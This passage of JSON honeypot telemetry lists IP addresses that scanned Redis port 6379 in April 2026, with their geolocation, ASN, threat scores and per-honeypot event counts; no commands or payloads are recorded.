      "first_seen": "2026-04-08T21:12:47.000Z",
      "last_seen": "2026-04-08T21:13:57.114Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 155258,
        "days_active_30d": 1,
        "ports_targeted_30d": 66815,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-08T21:11:41+00:00",
        "last_seen_30d": "2026-04-08T21:25:41.948000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132788,
        "Honeytrap": 22425,
        "Dionaea": 10,
        "ConPot": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "82.180.144.91": {
      "attack_count": 20,
      "first_seen": "2026-04-05T02:29:45.000Z",
      "last_seen": "2026-04-13T16:17:03.650Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T02:29:46+00:00",
        "last_seen_30d": "2026-04-13T16:17:03.650000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "91.230.168.12": {
      "attack_count": 20,
      "first_seen": "2026-04-03T19:55:48.000Z",
      "last_seen": "2026-04-24T19:40:40.448Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 30,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:37:15.174000+00:00",
        "last_seen_30d": "2026-04-30T16:49:41.206000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122,
        "Honeytrap": 40
      }
    },
    "170.9.225.197": {
      "attack_count": 18,
      "first_seen": "2026-04-23T14:56:21.000Z",
      "last_seen": "2026-04-29T02:59:58.400Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T14:56:21+00:00",
        "last_seen_30d": "2026-04-29T02:59:58.400000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 6,
        "Suricata": 2
      }
    },
    "71.6.232.20": {
      "attack_count": 18,
      "first_seen": "2026-04-08T01:51:49.000Z",
      "last_seen": "2026-04-08T01:53:29.951Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 87.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:04:48.458000+00:00",
        "last_seen_30d": "2026-04-30T12:12:25.799000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Dionaea": 2
      }
    },
    "71.6.232.29": {
      "attack_count": 18,
      "first_seen": "2026-04-29T09:13:23.000Z",
      "last_seen": "2026-04-29T09:15:03.661Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T04:14:36.559000+00:00",
        "last_seen_30d": "2026-04-30T06:07:02.407000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Honeytrap": 3,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "157.245.242.235": {
      "attack_count": 17,
      "first_seen": "2026-04-01T05:49:24.000Z",
      "last_seen": "2026-04-01T05:50:37.396Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:49:24+00:00",
        "last_seen_30d": "2026-04-01T05:50:37.396000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 2
      }
    },
    "180.76.58.237": {
      "attack_count": 16,
      "first_seen": "2026-04-08T06:11:51.000Z",
      "last_seen": "2026-04-22T18:29:45.647Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T06:13:29.406000+00:00",
        "last_seen_30d": "2026-04-22T18:29:45.647000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "20.64.105.127": {
      "attack_count": 16,
      "first_seen": "2026-04-22T14:48:19.000Z",
      "last_seen": "2026-04-22T14:50:12.683Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 20.8,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 25,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:00:45.504000+00:00",
        "last_seen_30d": "2026-04-25T19:46:43.998000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Adbhoney": 4,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "20.80.83.148": {
      "attack_count": 16,
      "first_seen": "2026-04-10T23:55:43.000Z",
      "last_seen": "2026-04-10T23:59:00.321Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T16:35:51.960000+00:00",
        "last_seen_30d": "2026-04-30T11:28:08.256000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 6,
        "Redishoneypot": 3
      }
    },
    "80.94.95.221": {
      "attack_count": 16,
      "first_seen": "2026-04-02T11:29:08.000Z",
      "last_seen": "2026-04-02T13:14:06.492Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 29,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T10:01:29.795000+00:00",
        "last_seen_30d": "2026-04-30T19:38:18.993000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 68,
        "Dionaea": 6,
        "Redishoneypot": 6,
        "Adbhoney": 4,
        "Cowrie": 3
      }
    },
    "117.72.44.129": {
      "attack_count": 15,
      "first_seen": "2026-04-28T15:38:26.000Z",
      "last_seen": "2026-04-28T15:39:49.621Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T02:00:46.109000+00:00",
        "last_seen_30d": "2026-04-28T15:39:49.621000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "20.65.154.237": {
      "attack_count": 15,
      "first_seen": "2026-04-08T08:42:47.000Z",
      "last_seen": "2026-04-08T08:46:13.322Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 63.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 18.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 22,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-08T08:43:58.956000+00:00",
        "last_seen_30d": "2026-04-29T05:25:53.766000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 3,
        "Redishoneypot": 3,
        "Mailoney": 1
      }
    },
    "20.65.195.124": {
      "attack_count": 15,
      "first_seen": "2026-04-27T16:01:10.000Z",
      "last_seen": "2026-04-27T16:03:39.133Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-27T13:02:10.210000+00:00",
        "last_seen_30d": "2026-04-27T16:03:39.133000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "45.156.129.60": {
      "attack_count": 15,
      "first_seen": "2026-04-17T00:30:43.000Z",
      "last_seen": "2026-04-17T00:34:05.177Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T07:40:09.632000+00:00",
        "last_seen_30d": "2026-04-30T03:53:05.873000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 115,
        "Honeytrap": 59,
        "Cowrie": 12,
        "Dionaea": 6,
        "Redishoneypot": 3,
        "Heralding": 1
      }
    },
    "91.230.168.246": {
      "attack_count": 15,
      "first_seen": "2026-04-23T15:48:08.000Z",
      "last_seen": "2026-04-23T15:49:10.208Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 23,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T09:00:36+00:00",
        "last_seen_30d": "2026-04-23T15:49:10.208000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 13,
        "ConPot": 3,
        "Redishoneypot": 3
      }
    },
    "195.184.76.243": {
      "attack_count": 14,
      "first_seen": "2026-04-03T20:03:53.000Z",
      "last_seen": "2026-04-03T20:05:03.036Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:04:26+00:00",
        "last_seen_30d": "2026-04-30T01:40:19.988000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 27,
        "Redishoneypot": 3,
        "ConPot": 2,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "91.196.152.60": {
      "attack_count": 14,
      "first_seen": "2026-04-23T17:30:16.000Z",
      "last_seen": "2026-04-23T17:31:24.476Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T04:44:12+00:00",
        "last_seen_30d": "2026-04-26T20:18:46.454000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 8,
        "Redishoneypot": 3
      }
    },
    "176.65.132.181": {
      "attack_count": 13,
      "first_seen": "2026-04-07T06:51:11.000Z",
      "last_seen": "2026-04-07T06:52:20.914Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T06:51:11+00:00",
        "last_seen_30d": "2026-04-07T06:52:20.914000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Redishoneypot": 3
      }
    },
    "35.187.99.78": {
      "attack_count": 12,
      "first_seen": "2026-04-29T07:20:49.000Z",
      "last_seen": "2026-04-29T07:21:56.253Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T07:21:55.314000+00:00",
        "last_seen_30d": "2026-04-29T07:21:56.253000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "66.132.195.158": {
      "attack_count": 12,
      "first_seen": "2026-04-03T19:02:02.000Z",
      "last_seen": "2026-04-13T17:13:17.720Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 68.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 29,
        "ports_targeted_30d": 152,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:13:08.173000+00:00",
        "last_seen_30d": "2026-04-29T10:01:00.710000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 158
      }
    },
    "66.132.195.70": {
      "attack_count": 12,
      "first_seen": "2026-04-05T00:38:12.000Z",
      "last_seen": "2026-04-05T00:39:24.565Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T08:12:15.505000+00:00",
        "last_seen_30d": "2026-04-30T07:46:07.501000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "Honeytrap": 63,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "113.249.112.198": {
      "attack_count": 11,
      "first_seen": "2026-04-10T10:16:26.000Z",
      "last_seen": "2026-04-23T02:51:19.591Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-10T10:17:32.857000+00:00",
        "last_seen_30d": "2026-04-23T02:51:19.591000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "18.217.208.51": {
      "attack_count": 10,
      "first_seen": "2026-04-21T01:16:14.000Z",
      "last_seen": "2026-04-30T00:50:35.034Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 30,
        "ports_targeted_30d": 185,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:50:37.259000+00:00",
        "last_seen_30d": "2026-04-30T17:00:55.005000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 440
      }
    },
    "199.45.154.178": {
      "attack_count": 10,
      "first_seen": "2026-04-10T05:00:48.000Z",
      "last_seen": "2026-04-23T23:59:41.087Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 68.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T06:20:36.897000+00:00",
        "last_seen_30d": "2026-04-30T22:26:22.992000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78
      }
    },
    "20.87.198.19": {
      "attack_count": 10,
      "first_seen": "2026-04-21T17:58:01.000Z",
      "last_seen": "2026-04-21T17:59:09.621Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:58:01+00:00",
        "last_seen_30d": "2026-04-21T17:59:09.621000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "3.83.245.221": {
      "attack_count": 10,
      "first_seen": "2026-04-09T02:02:21.000Z",
      "last_seen": "2026-04-10T02:00:07.559Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 30,
        "ports_targeted_30d": 188,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:17:14.847000+00:00",
        "last_seen_30d": "2026-04-30T16:54:19.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 382
      }
    },
    "147.185.132.111": {
      "attack_count": 9,
      "first_seen": "2026-04-12T20:43:00.000Z",
      "last_seen": "2026-04-12T20:44:33.437Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T03:50:52.297000+00:00",
        "last_seen_30d": "2026-04-30T00:05:53.491000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 24,
        "ConPot": 6,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "147.185.132.24": {
      "attack_count": 9,
      "first_seen": "2026-04-17T06:39:52.000Z",
      "last_seen": "2026-04-17T06:41:31.115Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 28,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:35:37.870000+00:00",
        "last_seen_30d": "2026-04-28T23:31:16.013000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 18,
        "Redishoneypot": 3,
        "Sentrypeer": 1
      }
    },
    "165.232.94.204": {
      "attack_count": 9,
      "first_seen": "2026-04-17T18:30:48.000Z",
      "last_seen": "2026-04-17T18:31:54.992Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 126543,
        "days_active_30d": 1,
        "ports_targeted_30d": 65753,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-17T18:30:10+00:00",
        "last_seen_30d": "2026-04-17T18:44:22.024000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111263,
        "Honeytrap": 15225,
        "Mailoney": 12,
        "ConPot": 10,
        "Dionaea": 9,
        "Miniprint": 8,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 1,
